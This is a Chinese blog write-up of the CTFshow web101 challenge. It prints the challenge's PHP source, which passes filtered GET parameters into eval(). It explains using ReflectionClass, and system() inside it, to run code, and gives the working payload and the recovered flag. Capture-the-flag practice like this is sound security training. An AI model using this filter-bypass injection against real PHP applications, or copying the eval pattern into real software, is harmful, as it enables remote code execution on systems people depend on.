web101笔记(反射类ReflectionClass执⾏命令-增加了大量过滤)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-22 00:26:48
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

?>

Notice: Undefined index: v1 in /var/www/html/index.php on line 17

Notice: Undefined index: v2 in /var/www/html/index.php on line 18

Notice: Undefined index: v3 in /var/www/html/index.php on line 19
反射类ReflectionClass执⾏命令
ReflectionClass反射类在PHP5新加⼊,继承⾃Reflector,它可以与已定义的类建⽴映射关系,
通过反射类可以对类操作
反射类不仅仅可以建⽴对类的映射,也可以建⽴对PHP基本⽅法的映射,并且返回基本⽅法执⾏的情
况。因此可以通过建⽴反射类new ReflectionClass(system('cmd'))来执⾏命令

PHP Reflection API是PHP5才有的新功能,它是用来导出或提取出关于类、方法、属性、参数等的详细信息,包括注释。
$class = new ReflectionClass(‘ctfshow’); // 建立 Person这个类的反射类
$instance = $class->newInstanceArgs($args); // 相当于实例化ctfshow类

涉及到类,可以考虑使用 ReflectionClass 建立反射类。

new ReflectionClass($class) 可以获得类的反射对象(包含元数据信息)。

元数据对象(包含class的所有属性/方法的元数据信息)。

payload:v1=1&v2=echo new ReflectionClass&v3=;

flag中有些字符经过ACSII码变换,好像还少了一位,爆破即可

Unlock Hint for 0 points
?v1=1&v2=echo new Reflectionclass&v3=;
Unlock Hint for 0 points
替换0x2d为-,最后一位需要爆破16次,题目给的flag少一位
?v1=1&v2=echo new ReflectionClass&v3=;
 
flag_c321511a0x2d961f0x2d45900x2d8dc20x2de76e65090c1
c321511a-961f-4590-8dc2-e76e65090c1
ctfshow{c321511a-961f-4590-8dc2-e76e65090c1a}
posted @ 2025-03-25 10:43  justdoIT*  阅读(15)  评论(0)    收藏  举报